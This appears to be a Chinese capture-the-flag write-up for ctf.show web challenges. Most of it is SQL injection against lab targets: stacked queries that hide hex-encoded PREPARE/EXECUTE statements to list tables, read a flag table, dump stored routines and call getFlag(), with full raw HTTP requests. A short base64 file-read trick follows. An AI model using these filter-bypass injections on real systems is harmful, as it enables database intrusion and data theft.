# show tables
?username=';Prepare stmt from 0x73686F77207461626C6573;EXECUTE stmt;
# select * from ctfsh_ow_flagas
?username=';Prepare stmt from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE stmt;

1
2
3
4
5
6
7
8
9
10
GET /api/?username=';Prepare%20stmt%20from%200x73686F77207461626C6573;EXECUTE%20stmt; HTTP/1.1
Host: 619df01f-e0e2-42a2-b232-83a229284b6a.challenge.ctf.show
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://619df01f-e0e2-42a2-b232-83a229284b6a.challenge.ctf.show/other.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b304b12mf4j5sdmt8lu0tjndgb
Connection: close
1
2
3
4
5
6
7
8
9
10
11
12
GET /api/?username=';Prepare%20stmt%20from%200x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE%20stmt; HTTP/1.1
Host: 619df01f-e0e2-42a2-b232-83a229284b6a.challenge.ctf.show
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://619df01f-e0e2-42a2-b232-83a229284b6a.challenge.ctf.show/other.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=b304b12mf4j5sdmt8lu0tjndgb
Connection: close


web227

存储过程

1
2
3
# SELECT * FROM information_schema.Routines
';prepare h from 0x53454c454354202a2046524f4d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;execute h;

1
2
3
4
5
6
7
8
9
10
11
12
GET /api/?username=';prepare%20h%20from%200x53454c454354202a2046524f4d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;execute%20h;--+%0A#%20SELECT%20*%20FROM%20information_schema.Routines%0A';%20call%20getFlag();--+ HTTP/1.1
Host: b06a0c07-d74f-4aa5-b2f9-ef4285bf3684.challenge.ctf.show
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://b06a0c07-d74f-4aa5-b2f9-ef4285bf3684.challenge.ctf.show/other.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=td89dg6cvb1nneqmfi4ktvgmna
Connection: close


或者

1
2
3
# select hex("select * from information_schema.routines")
?username=';Prepare stmt from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E726F7574696E6573;EXECUTE stmt;%

愚人节杯

WEB

easy_signin

查看浏览器发现url链接是base64加密。image-20230404183149808

base64解码是face.png,尝试flag.txtflag.php,base64加密后传入都不对,用index.php加密后传入,看源码,然后通过base64解密。

image-20230419181149917